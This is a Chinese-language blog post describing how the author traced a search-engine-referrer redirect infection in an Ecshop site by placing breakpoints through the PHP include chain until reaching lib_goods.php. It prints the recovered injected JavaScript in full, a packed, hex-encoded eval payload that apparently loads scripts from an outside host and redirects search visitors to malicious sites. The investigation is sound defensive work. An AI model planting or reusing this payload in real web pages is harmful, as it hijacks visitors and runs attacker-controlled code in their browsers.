一个WEB挂马的分析思路

又一次遇到搜索引擎欺骗类型的挂马了,这类挂马很高级,甚至不好判断是篡改的后台代码还是前端代码,而使用代理截断数据包去分析会发现不了搜索引擎跳转。从代码中搜索,查找都找不到,肯定是做过加密处理了,是比较难找,这次是Ecshop的一个挂马处理,汇总了一下思路。
首先通过百度搜索命令site:域名,发现通过百度进入的都会跳转,而直接进入网址的都不会跳转。开始觉得肯定是后台做判断了,但是找了找没找到代码,中间也有怀疑前端js的可能性,不过源码这么大,从头找的话无从下手,然后从goods.php下手了。打开goods.php文件,在require(dirname(__FILE__) . ‘/includes/init.php’);后面下断点 die(‘——exit—–‘);通过搜索引擎去打开,发现依旧存在挂马。说明问题在/includes/init.php这个文件中,然后又打开这个文件,也是从上到下循环下断点,在这个文件中发现在第83行中require(ROOT_PATH . ‘includes/lib_goods.php’); 在这里之前下断点就会终止程序,而在这里之后依然存在挂马,说明是引入的这个文件有问题。继续找这个文件。功夫不负有心人,在第996行有段代码被发现了,@print_r($web1);通过打印web1这个变量输出了一个js,通过这个js控制的页面跳转,而且这个js会判断来路去跳转到不同的挂马网站。把代码提取出来如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('D n$=["\\E\\t\\E\\U\\U\\I\\t\\t","\\K\\x\\W\\x\\1s\\x\\W\\x\\P\\x\\W\\x\\1o","\\1n\\x\\W\\x\\U\\x\\W\\x\\1t\\x\\W\\x\\1t","\\M\\u\\t\\r\\q\\C\\o\\w\\B\\s\\v\\G\\R\\s\\G\\p\\z\\"\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\o\\Q\\C\\p\\z\\"\\o\\p\\1v\\o\\/\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\u\\r\\t\\z\\"\\F\\o\\o\\C\\1e\\J\\J\\N\\u\\I\\R\\u\\p\\r\\u\\I\\X\\K\\I\\B\\s\\J\\K\\U\\K\\1s\\X\\1N\\K\\U\\I\\N\\u\\"\\L\\M\\/\\u\\t\\r\\q\\C\\o\\L\\M\\u\\t\\r\\q\\C\\o\\w\\B\\s\\v\\G\\R\\s\\G\\p\\z\\"\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\o\\Q\\C\\p\\z\\"\\o\\p\\1v\\o\\/\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\u\\r\\t\\z\\"\\F\\o\\o\\C\\1e\\J\\J\\N\\u\\I\\R\\u\\p\\r\\u\\I\\X\\K\\I\\B\\s\\J\\K\\U\\X\\U\\P\\X\\1o\\P\\I\\N\\u\\"\\L\\M\\/\\u\\t\\r\\q\\C\\o\\L",\'\\M\',\'\\t\\p\',\'\\v\',\'\\o\',\'\\p\',\'\\r\\L\\M\\q\',\'\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\\w\\w\\u\',\'\\t\',\'\\r\',\'\\H\',\'\\B\',\'\\B\',\'\\q\',\'\\v\',\'\\G\',\'\\z\',\'\\A\\v\',\'\\H\\A\\w\\E\',\'\\s\',\'\\r\',\'\\G\',\'\\q\',\'\\v\',\'\\F\',\'\\p\',\'\\q\',\'\\G\',\'\\F\',\'\\o\',\'\\z\\P\\w\\E\',\'\\s\',\'\\r\',\'\\G\',\'\\q\',\'\\v\',\'\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\P\\w\\w\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\',\'\\1y\',\'\\H\',\'\\r\',\'\\y\',\'\\p\',\'\\r\',\'\\z\\A\\P\\A\\w\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\A\\K\',\'\\P\',\'\\P\',\'\\1J\\A\\w\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\A\',\'\\A\\w\\F\',\'\\p\',\'\\q\',\'\\G\',\'\\F\',\'\\o\',\'\\z\\A\',\'\\A\\w\\u\',\'\\r\',\'\\t\',\'\\z\\A\',\'\\F\',\'\\o\',\'\\o\',\'\\C\',\'\\1e\',\'\\J\',\'\\J\',\'\',\'\\A\\L\\M\\J\',\'\\q\',\'\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\',\'\\L\',\'\\M\',\'\\J\',\'\\t\',\'\\p\',\'\\v\',\'\\o\',\'\\p\',\'\\r\',\'\\L\',\'\\M\',\'\\y\',\'\\q\',\'\\O\',\'\\w\\q\',\'\\y\',\'\\z\\A\\q\',\'\\1f\',\'\\1z\\H\',\'\\y\',\'\\Q\',\'\\1n\\A\\L\',\'\',\'\',\'\',\'\',\'\',\'\',"\\y\\H","\\t\\R","\\E\\p\\v\\o\\I\\Z\\r","\\q\\o\\p\\1k\\x","\\x\\1i\\1p","\\y\\H","\\t\\R","\\E\\p\\v\\o\\I\\Z\\r","\\q\\o\\p\\1k\\x","\\x\\1i\\1p","\\E\\Q\\1h\\v\\o\\p\\r\\O\\s\\B\\1k\\1i","\\y\\H\\t\\R\\E\\p\\v\\o","\\G\\p\\o\\1I\\B\\p\\E\\p\\v\\o\\1z\\Q\\1h\\y","\\y\\q\\O","\\1L\\B\\B","\\u\\o\\Q\\B\\p","\\y\\q\\u\\C\\B\\s\\Q","\\v\\H","\\v\\p","\\1y\\H\\y\\Q","\\t\\F\\q\\B\\y\\r\\p\\v","\\B\\p\\v\\G\\o\\F","\\o\\s\\G\\1M\\s\\E\\p","\\q\\y","\\1f\\1h\\1K","\\q\\t\\H\\v\\1f\\q\\O\\K","\\v\\H\\v","\\p"];D a=n$[0];D b=n$[1];D c=n$[2];D d=n$[3];D f=n$[4]+n$[5]+n$[6]+n$[7]+n$[8]+n$[9]+n$[10]+n$[11]+n$[12]+n$[13]+n$[14]+n$[15]+n$[11]+n$[17]+n$[18]+n$[18]+n$[20]+n$[6]+n$[22]+n$[23]+n$[24]+n$[25]+n$[12]+n$[11]+n$[22]+n$[20]+n$[6]+n$[V]+n$[8]+n$[20]+n$[22]+n$[V]+n$[7]+n$[1E]+n$[12]+n$[11]+n$[22]+n$[20]+n$[6]+n$[1D]+n$[20]+n$[S]+n$[7]+n$[V]+n$[1H]+n$[11]+n$[12]+n$[13]+n$[8]+n$[1G]+n$[17]+n$[11]+n$[S]+n$[8]+n$[11]+n$[1F]+n$[20]+n$[S]+n$[7]+n$[V]+n$[2p]+n$[1l]+n$[1l]+n$[2l]+n$[20]+n$[S]+n$[7]+n$[V]+n$[1g];D g=n$[2n]+n$[8]+n$[20]+n$[22]+n$[V]+n$[7]+n$[1g];D h=n$[2m]+n$[11]+n$[15]+n$[1g]+n$[V]+n$[7]+n$[7]+n$[2q]+n$[2o]+n$[1j]+n$[1j]+n$[T];D i=n$[2k]+n$[20]+n$[10]+n$[11]+n$[12]+n$[13]+n$[8]+n$[1m]+n$[4]+n$[1j]+n$[15]+n$[8]+n$[6]+n$[7]+n$[8]+n$[11]+n$[1m]+n$[4]+n$[S]+n$[20]+n$[1X]+n$[1W]+n$[S]+n$[1V]+n$[21]+n$[1Z]+n$[S]+n$[1Y]+n$[1U];D j=f+n$[T]+b+n$[T]+g+n$[T]+c+n$[T]+h+n$[T]+a+n$[T]+i;1A(n$[1x]+n$[1C]+n$[1B]+n$[1q]+j+n$[1r]);1A(n$[1x]+n$[1C]+n$[1B]+n$[1q]+d+n$[1r]);1c{1Q(n$[1P],1O)}1d(e){}1T 1S(){1c{Y[n$[16]][n$[1R]](n$[26]+n$[2g])[n$[1w]][n$[1u]]=n$[2f]+n$[2e]}1d(e){}2j(D k=2i;k<Y[n$[16]][n$[1a]][n$[19]][n$[2h]];k++){1c{D l=Y[n$[16]][n$[1a]][n$[19]][k][n$[2d]];D m=Y[n$[16]][n$[1a]][n$[19]][k][n$[29]];28(l==n$[27]&&m!=n$[2c]){Y[n$[16]][n$[1a]][n$[19]][k][n$[1w]][n$[1u]]=n$[2b]+n$[2a]}}1d(e){}}}',62,151,'|||||||||||||||||||||||_|x74|x65|x69|x72|x61|x63|x73|x6e|x20|x27|x64|x3d|x22|x6c|x70|var|x6d|x68|x67|x6f|x2e|x2f|x31|x3e|x3c|x6a|x76|x30|x79|x75|45|91|x38|31|x2b|x35|window|x77|||||||138|||147|146|x66|try|catch|x3a|x44|72|x49|x29|89|x28|65|99|x32|x34|x3b|130|131|x39|x33|143|x78|142|127|x62|x42|eval|129|128|43|37|59|53|48|x45|x25|x56|x41|x4e|x37|0xbb8|137|setInterval|139|myInterval|function|120|115|113|112|119|117||116|||||140|151|if|150|154|153|152|149|145|144|141|148|0x0|for|92|67|80|73|88|64|87'.split('|'),0,{})

通过分析这个站被挂马是后台和前端,加密一起挂马的。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.